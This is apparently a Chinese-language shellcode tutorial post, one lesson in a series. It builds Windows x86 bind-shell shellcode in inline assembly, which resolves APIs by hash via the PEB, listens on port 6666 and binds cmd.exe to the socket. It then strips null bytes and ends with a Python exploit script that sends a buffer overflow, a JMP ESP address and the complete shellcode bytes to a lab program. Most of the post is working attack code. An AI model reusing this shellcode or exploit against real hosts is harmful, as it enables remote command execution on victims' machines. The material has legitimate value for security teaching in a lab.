学习了以上5节课,我们学到了很多知识,例如如何动态获取指定函数的地址;我们也学到了很多经验,例如如何发现代码中的错误,如何用od定位到错误,并修正。
【本bind_shell 监听6666端口,创建一个新进程并经输入输出句柄指向socket实现控制目的】
有了以上积累,今天我们继续实验bind_shell,我没还是延用32位hash,来比较hash定位函数,而没用书中的8bit的hash,避免碰撞。题外话:周末了玩疯了有没有CF 、LOL
晚上静下心来调试了代码,今天就先获取下函数地址吧!
/*
LoadLibraryA function`s hash is 0c917432
CreateProcessA function`s hash is 6ba6bcc9
ExitProcess function`s hash is 4fd18963
WSAStartup function`s hash is 80b46a3d
WSASocketA function`s hash is de78322d
bind function`s hash is dda71064
listen function`s hash is 4bd39f0c
accept function`s hash is 01971eb1
GetProcAddress function`s hash is bbafdf85
Press any key to continue
*/
void bind_shell()
{
//参考以前的代码
__asm
{
CLD
//存储hash
push 0x80b46a3d //WSAStartup
push 0xde78322d //WSASocket
push 0xdda71064 //bind
push 0x4bd39f0c //listen
push 0x01971eb1 //accept
//----------------------以上是ws2_32.dll中的函数
push 0x0c917432 //load
push 0x6ba6bcc9 //createProcessA
push 0x4fd18963 //ExitProcess
//-----------------------以上是kernel32.dll导出的函数
mov esi,esp //esi = hash list 的顶 exitprocess
lea edi,[esi - 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置
xor ebx,ebx
mov bh,0x05
sub esp,ebx //抬高堆栈 500h 保护 hash list
mov bx,0x3233 //2 3
push ebx
push 0x5F327377 //_ 2 s w
push esp //ebp = "ws2_32"
xor edx,edx
mov ebx,fs:[edx+0x30] //peb addr
mov ecx,[ebx + 0x0c] // ldr addr
mov ecx,[ecx + 0x1c] // list frist
push edi
push esi
next_module:
mov ebp,[ecx+0x08]
mov edi,[ecx+0x20]
mov ecx,[ecx]
cmp [edi + 12*2],dx
jne next_module
pop esi
pop edi
find_lib_functions:
lodsd //esi 所指定的字符 传送如eax
cmp eax,0x01971eb1 //zhenw0
jne find_functions //如果 要查找accept的hash时 要切换dll了
xchg ebp,eax
call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址
xchg ebp,eax
find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi
next_function_loop:
inc edi //zai exp 表中查找 函数
mov esi,[ebx+edi*4]
add esi,ebp
cdq
hash_loop: //计算hash
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至
ror edx,7 //右移7
add edx,eax //
inc esi
jmp hash_loop
compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+2*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +4*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x80b46a3d //如果已经查找到最后一个hash了 就不跳转了
jne find_lib_functions
function_call: //函数都找到了 开始 scoket了
int 13 //便于od附加
}
}
调试发现确实有很多地方要微调下!
呵呵以上的代码已经被大改动了,是为了使用 lodsd call eax 顺序执行 WsaStartup WSaSocketA bind listen accept 等函数hash列表已经调整
最终版本汇编bindshell
CLD
//存储hash
push 0x01971eb1 //accept
push 0x4bd39f0c //listen
push 0xdda71064 //bind
push 0xde78322d //WSASocket
push 0x80b46a3d //WSAStartup
//----------------------以上是ws2_32.dll中的函数
push 0x0c917432 //load
push 0x6ba6bcc9 //createProcessA
push 0x4fd18963 //ExitProcess
//-----------------------以上是kernel32.dll导出的函数
mov esi,esp //esi = hash list 的顶 exitprocess
lea edi,[esi + 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置
xor ebx,ebx
mov bh,0x05
sub esp,ebx //抬高堆栈 500h 保护 hash list
mov bx,0x3233 //2 3
push ebx
push 0x5F327377 //_ 2 s w
push esp //ebp = "ws2_32"
xor edx,edx
mov ebx,fs:[edx+0x30] //peb addr
mov ecx,[ebx + 0x0c] // ldr addr
mov ecx,[ecx + 0x1c] // list frist
push edi
push esi
next_module:
mov ebp,[ecx+0x08]
mov edi,[ecx+0x20]
mov ecx,[ecx]
cmp [edi + 12*2],dx
jne next_module
pop esi
pop edi
find_lib_functions:
lodsd //esi 所指定的字符 传送如eax
cmp eax,0x80b46a3d //zhenw0
jne find_functions //如果 要查找accept的hash时 要切换dll了
xchg ebp,eax
call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址
xchg ebp,eax
find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi
next_function_loop:
inc edi //zai exp 表中查找 函数
mov esi,[ebx+edi*4]
add esi,ebp
cdq
hash_loop: //计算hash
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至
ror edx,7 //右移7
add edx,eax //
inc esi
jmp hash_loop
compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+2*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +4*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x01971eb1 //如果已经查找到最后一个hash了 就不跳转了
jne find_lib_functions
function_call: //函数都找到了 开始 scoket了
add esi,0x0c
//mov eax,[esi]
//--------------------------------------------------wsastartup(dword,lpwsadata)
//std
//std
push esp
push 0x02
lodsd
call eax
// eax = 0 可以使用eax填充数据
//-------------------------------------------------WSASocketA(af,type ...)
mov ecx,0x50
mov edi,esp
rep stosd
inc eax //eax = 1
push eax
inc eax
push eax
lodsd
call eax
xchg ebp,eax // ebp = socket handle
//--------------------------------------------------------bind
mov eax,0x0a1aff02
xor ah,ah
push eax
push esp
call_loop: // bind() listen() accept() dou zai zhe li
push ebp
lodsd
call eax
test eax,eax
jz call_loop
//初始化,startpinfo
inc byte ptr [esp+0x2d]
lea edi,[esp+0x38]
stosd
stosd
stosd
pop eax
push esp
push esp
push eax
push eax
push eax
push esp
push eax
push eax
//int 3
//////////cmd
mov dword ptr [esi],0x646d63
push esi
///////////////
push eax
call [esi-0x1c]
call [esi-0x20]
以上是 vc6.0 内联式代码
运行起来后 使用 telnet去连接吆!
我分享下经验
0x01:首先就是hash列表的顺序,按这种顺序来真不错,那个连续调用 bind listen accept 的地方,可以节约代码,还挺方便
0x02:int 3 当我们调试代码时,我们想看看内存分布、寄存器值什么的,我们就可以使用此办法,使用od自动附加上,这样我们就可以看到很多信息了
0x03:在布置STARTUPINFO 结构时,我们手头又没资料,我们可以自己使用编译器给我们计算出来,下图
就这样我们获得了dwflags的值和偏移量,这样我们就可以布置内存了,来构造si结构
这样我们就获得了输入句柄输出句柄错误句柄的偏移了,继续构建我们重要的数据
以下是win7(母机)使用telent成功连接虚拟机的截图
接下来我们提取机器码并实验攻击Exploit_me_A.exe
在提取过程中,发现了很多00 所以为了避免截断,我微调了汇编代码避免了00的出现
CLD
//存储hash
push 0x01971eb1 //accept
push 0x4bd39f0c //listen
push 0xdda71064 //bind
push 0xde78322d //WSASocket
push 0x80b46a3d //WSAStartup
//----------------------以上是ws2_32.dll中的函数
push 0x0c917432 //load
push 0x6ba6bcc9 //createProcessA
push 0x4fd18963 //ExitProcess
//-----------------------以上是kernel32.dll导出的函数
mov esi,esp //esi = hash list 的顶 exitprocess
lea edi,[esi + 0x20] //8个函数 *4 = 0x20 edi 指向 查找到的函数地址写入位置
xor ebx,ebx
mov bh,0x05
sub esp,ebx //抬高堆栈 500h 保护 hash list
mov bx,0x3233 //2 3
push ebx
push 0x5F327377 //_ 2 s w
push esp //ebp = "ws2_32"
xor edx,edx
mov ebx,fs:[edx+0x30] //peb addr
mov ecx,[ebx + 0x0c] // ldr addr
mov ecx,[ecx + 0x1c] // list frist
push edi
push esi
next_module:
mov ebp,[ecx+0x08]
mov edi,[ecx+0x20]
mov ecx,[ecx]
cmp [edi + 12*2],dx
jne next_module
pop esi
pop edi
find_lib_functions:
lodsd //esi 所指定的字符 传送如eax
cmp eax,0x80b46a3d //zhenw0
jne find_functions //如果 要查找accept的hash时 要切换dll了
xchg ebp,eax
call [edi - 0x04] // edi - 0x0c 存放这LoadLibraryA的地址
xchg ebp,eax
find_functions:
pushad
mov eax,[ebp+0x3c]
mov ecx,[ebp+eax+0x78]
add ecx,ebp
mov ebx,[ecx+0x20]
add ebx,ebp
xor edi,edi
next_function_loop:
inc edi //zai exp 表中查找 函数
mov esi,[ebx+edi*4]
add esi,ebp
cdq
hash_loop: //计算hash
movsx eax,byte ptr[esi]
cmp al,ah
jz compare_hash //如果到了 函数字符串的 00结尾就 比较hash至
ror edx,7 //右移7
add edx,eax //
inc esi
jmp hash_loop
compare_hash:
cmp edx,[esp+0x1c]
jnz next_function_loop
mov ebx,[ecx+0x24]
add ebx,ebp
mov di,[ebx+2*edi]
mov ebx,[ecx+0x1c]
add ebx,ebp
add ebp,[ebx +4*edi]
xchg eax,ebp
pop edi
stosd
push edi
popad
cmp eax,0x01971eb1 //如果已经查找到最后一个hash了 就不跳转了
jne find_lib_functions
function_call: //函数都找到了 开始 scoket了
add esi,0x0c
//mov eax,[esi]
//--------------------------------------------------wsastartup(dword,lpwsadata)
//std
//std
push esp
push 0x02
lodsd
call eax
// eax = 0 可以使用eax填充数据
//-------------------------------------------------WSASocketA(af,type ...)
lea ecx,[eax+0x50]
mov edi,esp
rep stosd
inc eax //eax = 1
push eax
inc eax
push eax
lodsd
call eax
xchg ebp,eax // ebp = socket handle
//--------------------------------------------------------bind
mov eax,0x0a1aff02
xor ah,ah
push eax
push esp
call_loop: // bind() listen() accept() dou zai zhe li
push ebp
lodsd
call eax
test eax,eax
jz call_loop
//初始化,startpinfo
inc byte ptr [esp+0x2d]
lea edi,[esp+0x38]
stosd
stosd
stosd
pop eax
push esp
push esp
push eax
push eax
push eax
push esp
push eax
push eax
//int 3
//////////cmd
mov dword ptr [esi],0x11646d63
mov byte ptr [esi+0x03],bl
push esi
///////////////
push eax
call [esi-0x1c]
call [esi-0x20]
最后提取出来的机器码,我已经做成python的脚本了。
import socket
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(("192.168.17.128",7777))
JMPESP = "\x12\x45\xFA\x7F"
buf = 'z'*200 + JMPESP + "\xFC\x68\xB1\x1E\x97\x01\x68\x0C\x9F\xD3\x4B\x68\x64\x10\xA7\xDD\x68\x2D\x32\x78\xDE"\
"\x68\x3D\x6A\xB4\x80\x68\x32\x74\x91\x0C\x68\xC9\xBC\xA6\x6B\x68\x63\x89\xD1\x4F\x8B"\
"\xF4\x8D\x7E\x20\x33\xDB\xB7\x05\x2B\xE3\x66\xBB\x33\x32\x53\x68\x77\x73\x32\x5F"\
"\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B"\
"\x09\x66\x39\x57\x18\x75\xF2\x5E\x5F\xAD\x3D\x3D\x6A\xB4\x80\x75\x05\x95\xFF\x57\xFC"\
"\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB"\
"\x03\xF5\x99\x0F\xBE\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C"\
"\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB"\
"\x57\x61\x3D\xB1\x1E\x97\x01\x75\xA9\x83\xC6\x0C\x54\x6A\x02\xAD\xFF\xD0\x8D\x48\x50\x8B"\
"\xFC\xF3\xAB\x40\x50\x40\x50\xAD\xFF\xD0\x95\xB8\x02\xFF\x1A\x0A\x32\xE4\x50\x54\x55\xAD"\
"\xFF\xD0\x85\xC0\x74\xF8\xFE\x44\x24\x2D\x8D\x7C\x24\x38\xAB\xAB\xAB\x58\x54\x54\x50\x50"\
"\x50\x54\x50\x50\xC7\x06\x63\x6D\x64\x11\x88\x5E\x03\x56\x50\xFF"\
"\x56\xE4\xFF\x56\xE0\x90\x90\x90\x90\x90\x90"
sock.send(buf)
以上代码需要改动!下ip。不明白的参考以上几篇,成功的图我就不上了。
[课程]Android-CTF解题方法汇总!